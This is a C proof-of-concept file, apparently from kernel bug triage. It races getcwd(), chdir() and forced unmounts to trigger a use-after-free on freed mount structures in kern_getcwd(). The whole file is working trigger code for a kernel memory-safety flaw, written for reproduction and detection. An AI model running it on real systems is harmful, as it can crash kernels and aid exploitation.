DF-5788 / df5788_v2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 | /* * DF-5788 rigger v2 - maximize mount-free vs walk-deref interleavings. * * Strategy (per the VERDICT analysis): the walk-phase UAF needs a * kern_getcwd() walk that dereferences nch.mount AFTER that mount was * freed by umount -f. Freed mounts keep their poison (deterministic * values) until slab reuse, so ANY walk that touches a freed-but-not- * yet-reused mount trips the detection rig. * * Threads: * walker - hammer getcwd() forever (walks the deep chain in T2 while * the fd points deep). * flapper - flip chdir() deep<->outside at max rate. Dropping the fd * pin is what allows umount to complete; the walker thread * races this swap (unlocked fd_ncdir read). * churn - umount -f T2; remount; recreate deep chain; repeat as fast * as possible (clean umounts take ~ms each). */ #include <sys/param.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <time.h> static char g_base[256]; static char g_deep[1024]; static volatile int g_stop; static volatile long n_getcwd, n_enoent, n_err, n_chdir_ok, n_cycles; #define NMID 3 static const char *mid[NMID] = { "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm" "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm", /* 110 */ "nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn" "nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn", "oooooooooooooooooooooooooooooooooooooooooooooooooooo" "oooooooooooooooooooooooooooooooooooooooooooooooooooo", }; static void mkdir_p(const char *p); static int setup_mounts(void) { char p[1024]; int i; snprintf(p, sizeof(p), "%s/m1", g_base); mkdir_p(p); if (mount("tmpfs", p, 0, NULL) && errno != EBUSY) return -1; snprintf(g_deep, sizeof(g_deep), "%s/m1", g_base); for (i = 0; i < NMID; i++) { strlcat(g_deep, "/", sizeof(g_deep)); strlcat(g_deep, mid[i], sizeof(g_deep)); mkdir_p(g_deep); } mkdir_p(g_deep); return 0; } static void teardown_mounts(void) { char p[1024]; snprintf(p, sizeof(p), "%s/m1", g_base); unmount(p, MNT_FORCE); } static void mkdir_p(const char *p) { char tmp[1024]; char *q; snprintf(tmp, sizeof(tmp), "%s", p); for (q = tmp + 1; *q; q++) { if (*q == '/') { *q = 0; mkdir(tmp, 0777); *q = '/'; } } if (mkdir(tmp, 0777) == 0 || errno == EEXIST) ; } static void * thr_walker(void *arg) { char buf[MAXPATHLEN]; while (!g_stop) { if (getcwd(buf, sizeof(buf)) == NULL) { if (errno == ENOENT) n_enoent++; else n_err++; } n_getcwd++; } return NULL; } static void * thr_flapper(void *arg) { char out[256]; snprintf(out, sizeof(out), "%s/out", g_base); mkdir_p(out); while (!g_stop) { if (chdir(g_deep) == 0) n_chdir_ok++; chdir(out); } return NULL; } static void * thr_churn(void *arg) { while (!g_stop) { teardown_mounts(); if (setup_mounts() == 0) n_cycles++; } return NULL; } int main(int argc, char **argv) { pthread_t t[3]; int secs = 60, i; if (argc > 1) snprintf(g_base, sizeof(g_base), "%s", argv[1]); else snprintf(g_base, sizeof(g_base), "/tmp/df5788"); if (argc > 2) secs = atoi(argv[2]); mkdir_p(g_base); if (setup_mounts() != 0) { perror("setup_mounts"); return 2; } printf("base=%s deep=%.60s...\n", g_base, g_deep); g_stop = 0; for (i = 0; i < 3; i++) { switch (i) { case 0: pthread_create(&t[i], NULL, thr_walker, NULL); break; case 1: pthread_create(&t[i], NULL, thr_flapper, NULL); break; case 2: pthread_create(&t[i], NULL, thr_churn, NULL); break; } } sleep(secs); g_stop = 1; for (i = 0; i < 3; i++) pthread_join(t[i], NULL); printf("getcwd=%ld enoent=%ld err=%ld chdir_ok=%ld cycles=%ld\n", n_getcwd, n_enoent, n_err, n_chdir_ok, n_cycles); teardown_mounts(); printf("DONE rc=0\n"); return 0; } |